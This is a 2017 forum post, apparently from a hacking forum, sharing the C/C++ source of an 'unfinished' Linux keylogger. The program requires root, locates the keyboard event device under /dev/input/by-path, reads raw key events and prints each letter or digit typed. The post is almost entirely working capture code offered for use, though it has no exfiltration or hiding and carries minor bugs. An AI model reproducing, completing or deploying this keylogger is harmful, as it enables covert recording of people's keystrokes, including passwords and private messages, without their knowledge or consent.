[c] Linux keylogger 08-11-2017, 02:57 AM
#1
An unfinished keylogger for Linux which automatically detects the default input device.
Code:
#include <stdio.h>
#include <linux/input.h>
#include <fcntl.h>
#include <unistd.h>
#include <dirent.h>
#include <cstring>
#include <stdlib.h>
#define di_path "/dev/input/by-path"
#define pattern "event-kbd"
typedef struct KEYS
{
int key_code;
const char* key_value;
}
KEYS;
KEYS keys[] =
{
{30,"a"},
{48,"b"},
{46,"c"},
{32,"d"},
{18,"e"},
{33,"f"},
{34,"g"},
{35,"h"},
{23,"i"},
{36,"j"},
{37,"k"},
{38,"l"},
{50,"m"},
{49,"n"},
{24,"o"},
{25,"p"},
{16,"q"},
{19,"r"},
{31,"s"},
{20,"t"},
{22,"u"},
{47,"v"},
{17,"w"},
{45,"x"},
{21,"y"},
{44,"z"},
{2,"1"},
{3,"2"},
{4,"3"},
{5,"4"},
{6,"5"},
{7,"6"},
{8,"7"},
{9,"8"},
{10,"9"},
{11,"0"},
};
void identify_key( int key_code )
{
char* command = new char[260];
for( unsigned int x = 0; x < sizeof( KEYS ) * 2; x++)
{
if( key_code == keys[x].key_code )
{
printf( "Keypress: %s\r\n", keys[x].key_value );
}
}
}
int get_kbd_state( int device_id )
{
struct input_event ev[64];
int rd, size = sizeof (struct input_event);
if ((rd = read (device_id, ev, size * 64)) < size) {
return -1;
}
for (unsigned int i = 0; i < rd / sizeof(struct input_event); i++)
{
if (ev[i].type == 1 && ev[i].value == 1)
{
return ev[i].code;
}
}
return 0;
}
char* find_kbd_device( )
{
struct dirent *ent;
DIR* dir;
if ((dir = opendir( di_path )) != NULL )
{
while ((ent = readdir (dir)) != NULL)
{
if( strstr( ent->d_name, pattern) != NULL ) {
return ent->d_name;
}
}
closedir (dir);
}
return NULL;
}
int main (int argc, char *argv[])
{
int code = 0;
char* path = new char[260];
char* device_id;
if( getuid() != 0) {
return 1;
}
if(argc == 1 )
{
device_id = find_kbd_device();
if( device_id == NULL ) {
return 2;
} else {
sprintf( path, "%s/%s", di_path, device_id);
}
} else {
sprintf( path, "%s", argv[1]);
}
int fd = open(path, O_RDONLY );
if ( fd != -1 )
{
do {
code = get_kbd_state( fd );
if( code != 0 ) {
identify_key( code );
}
}
while( code != -1 );
}
else {
return 3;
}
return 0;
}
(This post was last modified: 08-11-2017, 03:04 AM by titbang.)
![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)